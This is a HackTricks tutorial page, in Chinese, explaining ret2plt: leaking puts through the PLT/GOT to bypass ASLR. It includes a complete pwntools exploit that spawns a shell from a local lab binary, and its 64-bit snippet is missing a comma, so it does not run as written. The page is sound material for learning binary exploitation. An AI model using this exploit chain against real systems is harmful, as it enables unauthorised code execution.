Ret2plt

Reading time: 4 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

基本信息

该技术的目标是泄露来自PLT的函数地址以绕过ASLR。这是因为,如果例如,你泄露了来自libc的函数puts的地址,你就可以计算libc的基址并计算偏移量以访问其他函数,如**system**。

这可以通过pwntools有效载荷完成,例如(来自这里):

python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

注意如何 puts(使用来自 PLT 的地址)被调用,地址位于 GOT(全局偏移表)中的 puts。这是因为在 puts 打印 puts 的 GOT 条目时,这个 条目将包含 puts 在内存中的确切地址

还要注意如何在利用中使用 main 的地址,以便当 puts 结束其执行时,二进制文件会再次调用 main 而不是退出(因此泄露的地址将继续有效)。

caution

注意,为了使这项工作,二进制文件不能使用 PIE 编译,或者您必须 找到一个泄露以绕过 PIE,以便知道 PLT、GOT 和 main 的地址。否则,您需要先绕过 PIE。

您可以在 此处找到此绕过的完整示例。这是该 示例 的最终利用:

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

其他示例与参考

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks